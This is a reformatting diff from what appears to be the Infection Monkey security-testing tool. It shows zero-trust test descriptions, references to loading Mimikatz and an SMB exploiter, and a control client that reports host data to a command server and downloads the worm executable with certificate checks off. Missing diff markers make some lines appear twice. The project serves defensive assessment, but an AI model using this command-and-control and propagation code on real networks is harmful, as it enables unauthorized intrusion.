STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.",
TEST_MACHINE_EXPLOITED:{
TEST_EXPLANATION_KEY:"The Monkey tries to exploit machines in order to "
"breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey successfully exploited endpoints. Check IDS/IPS logs to see "
"activity recognized and see "
"which endpoints were compromised.",
STATUS_PASSED:"Monkey didn't manage to exploit an endpoint.",
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY],
PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY:[DEVICES],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY],
},
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
"software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner.",
TEST_SCHEDULED_EXECUTION:{
TEST_EXPLANATION_KEY:"The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_VERIFY:"Monkey was executed in a scheduled manner. Locate this activity in "
"User-Behavior security "
"software.",
STATUS_PASSED:"Monkey failed to execute in a scheduled manner.",
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
PILLARS_KEY: [PEOPLE, NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
PRINCIPLE_KEY:PRINCIPLE_USER_BEHAVIOUR,
PILLARS_KEY:[PEOPLE, NETWORKS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY],
},
TEST_DATA_ENDPOINT_ELASTIC: {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
"that indicate attempts to access them. ",
TEST_DATA_ENDPOINT_ELASTIC:{
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to "
"ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey accessed ElasticSearch instances. Limit access to data by "
"encrypting it in in-transit.",
STATUS_PASSED:"Monkey didn't find open ElasticSearch instances. If you have such "
"instances, look for alerts "
"that indicate attempts to access them. ",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY:[DATA],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_DATA_ENDPOINT_HTTP: {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
"attempts to access them. ",
TEST_DATA_ENDPOINT_HTTP:{
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to HTTP " "servers.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey accessed HTTP servers. Limit access to data by encrypting it in"
" in-transit.",
STATUS_PASSED:"Monkey didn't find open HTTP servers. If you have such servers, "
"look for alerts that indicate "
"attempts to access them. ",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY:[DATA],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_DATA_ENDPOINT_POSTGRESQL: {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to PostgreSQL servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, look for alerts that "
"indicate attempts to access them. ",
TEST_DATA_ENDPOINT_POSTGRESQL:{
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " "PostgreSQL servers.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey accessed PostgreSQL servers. Limit access to data by encrypting"
" it in in-transit.",
STATUS_PASSED:"Monkey didn't find open PostgreSQL servers. If you have such servers, "
"look for alerts that "
"indicate attempts to access them. ",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY:[DATA],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
"restrict them. "
TEST_TUNNELING:{
TEST_EXPLANATION_KEY:"The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey tunneled its traffic using other monkeys. Your network policies "
"are too permissive - "
"restrict them. "
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED],
PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED],
},
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.",
TEST_COMMUNICATE_AS_NEW_USER:{
TEST_EXPLANATION_KEY:"The Monkey tried to create a new user and communicate "
"with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey caused a new user to access the network. Your network policies "
"are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED:"Monkey wasn't able to cause a new user to access the network.",
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY:[PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: {
TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.",
STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.",
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES:{
TEST_EXPLANATION_KEY:"ScoutSuite assessed cloud firewall rules and settings.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found overly permissive firewall rules.",
STATUS_PASSED:"ScoutSuite found no problems with cloud firewall rules.",
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY:[NETWORKS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_UNENCRYPTED_DATA: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found resources with unencrypted data.",
STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.",
TEST_SCOUTSUITE_UNENCRYPTED_DATA:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for resources containing " "unencrypted data.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found resources with unencrypted data.",
STATUS_PASSED:"ScoutSuite found no resources with unencrypted data.",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY:[DATA],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found resources not protected against data loss.",
STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.",
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for resources which are not "
"protected against data loss.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found resources not protected against data loss.",
STATUS_PASSED:"ScoutSuite found that all resources are secured against data loss.",
},
PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_DISASTER_RECOVERY,
PILLARS_KEY:[DATA],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_SECURE_AUTHENTICATION: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found issues related to users' authentication.",
STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.",
TEST_SCOUTSUITE_SECURE_AUTHENTICATION:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for issues related to users' " "authentication.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found issues related to users' authentication.",
STATUS_PASSED:"ScoutSuite found no issues related to users' authentication.",
},
PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION,
PILLARS_KEY: [PEOPLE, WORKLOADS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_SECURE_AUTHENTICATION,
PILLARS_KEY:[PEOPLE, WORKLOADS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found permissive user access policies.",
STATUS_PASSED: "ScoutSuite found no issues related to user access policies.",
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for permissive user access " "policies.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found permissive user access policies.",
STATUS_PASSED:"ScoutSuite found no issues related to user access policies.",
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, WORKLOADS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY:[PEOPLE, WORKLOADS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_LOGGING: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found logging issues.",
STATUS_PASSED: "ScoutSuite found no logging issues.",
TEST_SCOUTSUITE_LOGGING:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for issues, related to logging.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found logging issues.",
STATUS_PASSED:"ScoutSuite found no logging issues.",
},
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY:[AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_SERVICE_SECURITY: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found service security issues.",
STATUS_PASSED: "ScoutSuite found no service security issues.",
TEST_SCOUTSUITE_SERVICE_SECURITY:{
TEST_EXPLANATION_KEY:"ScoutSuite searched for service security issues.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"ScoutSuite found service security issues.",
STATUS_PASSED:"ScoutSuite found no service security issues.",
},
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY: [DEVICES, NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY:[DEVICES, NETWORKS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
}
@ -284,13 +315,13 @@ EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
PILLARS_TO_TESTS = {
DATA: [],
PEOPLE: [],
NETWORKS: [],
DEVICES: [],
WORKLOADS: [],
VISIBILITY_ANALYTICS: [],
AUTOMATION_ORCHESTRATION: [],
DATA:[],
PEOPLE:[],
NETWORKS:[],
DEVICES:[],
WORKLOADS:[],
VISIBILITY_ANALYTICS:[],
AUTOMATION_ORCHESTRATION:[],
}
PRINCIPLES_TO_TESTS = {}

View File

@ -99,7 +99,7 @@ class IpRange(NetworkRange):
addresses = ip_range.split("-")
if len(addresses) != 2:
raise ValueError(
"Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range
"Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range
)
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
elif (lower_end_ip is not None) and (higher_end_ip is not None):
@ -112,8 +112,8 @@ class IpRange(NetworkRange):
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
if self._higher_end_ip_num < self._lower_end_ip_num:
raise ValueError(
"Higher end IP %s is smaller than lower end IP %s"
% (self._lower_end_ip, self._higher_end_ip)
"Higher end IP %s is smaller than lower end IP %s"
% (self._lower_end_ip, self._higher_end_ip)
)
def __repr__(self):
@ -159,7 +159,8 @@ class SingleIpRange(NetworkRange):
@staticmethod
def string_to_host(string_):
"""
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name
and ip
:param string_: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
@ -176,8 +177,8 @@ class SingleIpRange(NetworkRange):
domain_name = string_
except socket.error:
LOG.error(
"Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string_)
"Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string_)
)
return None, string_
# If a string_ was entered instead of IP we presume that it was domain name and translate it

View File

@ -4,8 +4,10 @@ from urllib.parse import urlparse
def get_host_from_network_location(network_location: str) -> str:
"""
URL structure is "<scheme>://<net_loc>/<path>;<params>?<query>#<fragment>" (https://tools.ietf.org/html/rfc1808.html)
And the net_loc is "<user>:<password>@<host>:<port>" (https://tools.ietf.org/html/rfc1738#section-3.1)
URL structure is "<scheme>://<net_loc>/<path>;<params>?<query>#<fragment>" (
https://tools.ietf.org/html/rfc1808.html)
And the net_loc is "<user>:<password>@<host>:<port>" (
https://tools.ietf.org/html/rfc1738#section-3.1)
:param network_location: server network location
:return: host part of the network location
"""

View File

@ -14,8 +14,10 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
def get_ip_if_in_subnet(ip_addresses, subnet):
"""
:param ip_addresses: IP address list.
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
:param subnet: Subnet to check if one of ip_addresses is in there. This is
common.network.network_range.NetworkRange
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise
returns None.
"""
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):

View File

@ -14,27 +14,29 @@ class ScanStatus(Enum):
class UsageEnum(Enum):
SMB = {
ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.",
ScanStatus.USED.value:"SMB exploiter ran the monkey by creating a service via MS-SCMR.",
ScanStatus.SCANNED.value:"SMB exploiter failed to run the monkey by creating a service "
"via MS-SCMR.",
}
MIMIKATZ = {
ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.",
ScanStatus.USED.value:"Windows module loader was used to load Mimikatz DLL.",
ScanStatus.SCANNED.value:"Monkey tried to load Mimikatz DLL, but failed.",
}
MIMIKATZ_WINAPI = {
ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.",
ScanStatus.USED.value:"WinAPI was called to load mimikatz.",
ScanStatus.SCANNED.value:"Monkey tried to call WinAPI to load mimikatz.",
}
DROPPER = {
ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot."
}
SINGLETON_WINAPI = {
ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
" for monkey process wasn't successful.",
ScanStatus.USED.value:"WinAPI was called to acquire system singleton for monkey's "
"process.",
ScanStatus.SCANNED.value:"WinAPI call to acquire system singleton"
" for monkey process wasn't successful.",
}
DROPPER_WINAPI = {
ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot."
}

View File

@ -35,8 +35,8 @@ class MongoUtils:
# objectSid property of ds_user is problematic and need this special treatment.
# ISWbemObjectEx interface. Class Uint8Array ?
if (
str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid)
== "{269AD56A-8A67-4129-BC8C-0506DCFE9880}"
str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid)
== "{269AD56A-8A67-4129-BC8C-0506DCFE9880}"
):
return o.Value
except Exception:

View File

@ -1,4 +1,5 @@
# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for details).
# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for
# details).
import argparse
from pathlib import Path
@ -17,7 +18,8 @@ def get_version(build=BUILD):
def print_version():
parser = argparse.ArgumentParser()
parser.add_argument(
"-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str
"-b", "--build", default=BUILD, help="Choose the build string for this version.",
type=str
)
args = parser.parse_args()
print(get_version(args.build))

View File

@ -227,7 +227,8 @@ class Configuration(object):
@staticmethod
def hash_sensitive_data(sensitive_data):
"""
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data
plain-text, as the log is
saved on client machines plain-text.
:param sensitive_data: the data to hash.

View File

@ -23,7 +23,6 @@ from infection_monkey.utils.exceptions.planned_shutdown_exception import Planned
__author__ = "hoffer"
requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
@ -32,7 +31,8 @@ DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
# to prevent the monkey from just waiting forever to try and connect to an island before going
# elsewhere.
TIMEOUT_IN_SECONDS = 15
@ -52,32 +52,32 @@ class ControlClient(object):
has_internet_access = check_internet_access(WormConfiguration.internet_services)
monkey = {
"guid": GUID,
"hostname": hostname,
"ip_addresses": local_ips(),
"description": " ".join(platform.uname()),
"internet_access": has_internet_access,
"config": WormConfiguration.as_dict(),
"parent": parent,
"guid":GUID,
"hostname":hostname,
"ip_addresses":local_ips(),
"description":" ".join(platform.uname()),
"internet_access":has_internet_access,
"config":WormConfiguration.as_dict(),
"parent":parent,
}
if ControlClient.proxies:
monkey["tunnel"] = ControlClient.proxies.get("https")
requests.post(
"https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(monkey),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=20,
"https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(monkey),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=20,
)
@staticmethod
def find_server(default_tunnel=None):
LOG.debug(
"Trying to wake up with Monkey Island servers list: %r"
% WormConfiguration.command_servers
"Trying to wake up with Monkey Island servers list: %r"
% WormConfiguration.command_servers
)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
@ -93,10 +93,10 @@ class ControlClient(object):
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
requests.get(
f"https://{server}/api?action=is-up", # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=TIMEOUT_IN_SECONDS,
f"https://{server}/api?action=is-up", # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=TIMEOUT_IN_SECONDS,
)
WormConfiguration.current_server = current_server
break
@ -131,17 +131,18 @@ class ControlClient(object):
if ControlClient.proxies:
monkey["tunnel"] = ControlClient.proxies.get("https")
requests.patch(
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
data=json.dumps(monkey),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
data=json.dumps(monkey),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
return {}
@ -149,23 +150,25 @@ class ControlClient(object):
def send_telemetry(telem_category, json_data: str):
if not WormConfiguration.current_server:
LOG.error(
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
)
return
try:
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
telemetry = {"monkey_guid":GUID, "telem_category":telem_category, "data":json_data}
requests.post(
"https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(telemetry),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/telemetry" % (WormConfiguration.current_server,),
# noqa: DUO123
data=json.dumps(telemetry),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
@staticmethod
@ -173,18 +176,19 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return
try:
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
telemetry = {"monkey_guid":GUID, "log":json.dumps(log)}
requests.post(
"https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(telemetry),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(telemetry),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
@staticmethod
@ -193,32 +197,33 @@ class ControlClient(object):
return
try:
reply = requests.get(
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
return
try:
unknown_variables = WormConfiguration.from_kv(reply.json().get("config"))
LOG.info(
"New configuration was loaded from server: %r"
% (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)
"New configuration was loaded from server: %r"
% (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)
)
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error(
"Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server,
reply._content,
exc,
"Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server,
reply._content,
exc,
)
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
@ -231,17 +236,18 @@ class ControlClient(object):
return
try:
requests.patch(
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
data=json.dumps({"config_error": True}),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/monkey/%s"
% (WormConfiguration.current_server, GUID), # noqa: DUO123
data=json.dumps({"config_error":True}),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
return {}
@ -260,7 +266,7 @@ class ControlClient(object):
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit)
ControlClient.spoof_host_os_info(is_windows, is_32bit)
)
if filename is None:
return None
@ -281,7 +287,7 @@ class ControlClient(object):
else:
arch = "x86_64"
return {"os": {"type": os, "machine": arch}}
return {"os":{"type":os, "machine":arch}}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
@ -293,11 +299,11 @@ class ControlClient(object):
return dest_file
else:
download = requests.get(
"https://%s/api/monkey/download/%s"
% (WormConfiguration.current_server, filename), # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
"https://%s/api/monkey/download/%s"
